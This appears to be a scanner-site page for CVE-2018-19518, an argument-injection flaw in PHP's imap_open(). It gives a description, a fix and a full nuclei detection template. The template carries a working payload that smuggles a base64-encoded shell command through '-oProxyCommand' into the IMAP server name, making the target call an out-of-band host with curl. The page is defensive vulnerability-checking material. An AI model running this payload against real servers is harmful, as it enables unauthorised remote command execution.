PHP imap - Remote Command Execution

highseverity

7.5CVSS score

96.1%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

University of Washington IMAP Toolkit 2007f on UNIX, as used in imap_open() in PHP and other products, launches an rsh command (by means of the imap_rimap function in c-client/imap4r1.c and the tcp_aopen function in osdep/unix/tcp_unix.c) without preventing argument injection, which might allow remote attackers to execute arbitrary OS commands if the IMAP server name is untrusted input (e.g., entered by a user of a web application) and if rsh has been replaced by a program with different argument semantics. For example, if rsh is a link to ssh (as seen on Debian and Ubuntu systems), then the attack can use an IMAP server name containing a "-oProxyCommand" argument.

Impact

Attackers can inject arbitrary OS commands through malicious IMAP server names when using imap_open() in PHP, potentially achieving remote code execution on servers where rsh is linked to ssh.

Fix

Upgrade to University of Washington IMAP Toolkit versions that properly sanitize IMAP server name arguments, or restrict usage of imap_open() with untrusted input.

How to confirm it

Positive when: contains in interactsh_protocol "http" AND contains in interactsh_request "User-Agent: curl"

Run it with nuclei: nuclei -id CVE-2018-19518 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-19518

info:
  name: PHP imap - Remote Command Execution
  author: princechaddha
  severity: high
  description: |
    University of Washington IMAP Toolkit 2007f on UNIX, as used in imap_open() in PHP and other products, launches an rsh command (by means of the imap_rimap function in c-client/imap4r1.c and the tcp_aopen function in osdep/unix/tcp_unix.c) without preventing argument injection, which might allow remote attackers to execute arbitrary OS commands if the IMAP server name is untrusted input (e.g., entered by a user of a web application) and if rsh has been replaced by a program with different argument semantics. For example, if rsh is a link to ssh (as seen on Debian and Ubuntu systems), then the attack can use an IMAP server name containing a "-oProxyCommand" argument.
  impact: |
    Attackers can inject arbitrary OS commands through malicious IMAP server names when using imap_open() in PHP, potentially achieving remote code execution on servers where rsh is linked to ssh.
  remediation: |
    Upgrade to University of Washington IMAP Toolkit versions that properly sanitize IMAP server name arguments, or restrict usage of imap_open() with untrusted input.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/php/CVE-2018-19518
    - https://nvd.nist.gov/vuln/detail/CVE-2018-19518
    - https://www.openwall.com/lists/oss-security/2018/11/22/3
    - https://github.com/Bo0oM/PHP_imap_open_exploit/blob/master/exploit.php
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.5
    cve-id: CVE-2018-19518
    cwe-id: CWE-88
    epss-score: 0.96107
    epss-percentile: 0.99877
  metadata:
    max-request: 1
    confidence: tenative
  tags: imap,dast,vulhub,cve,cve2018,rce,oast,php,vkev,vuln

http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'

    payloads:
      php-imap:
        - "x -oProxyCommand=echo {{base64(url_encode('curl {{interactsh-url}}'))}}|base64 -d|sh}"

    fuzzing:
      - part: query
        fuzz:
          - "{{php-imap}}"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - http

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: curl"

References

Use this check only on systems you are authorised to test. Where the data comes from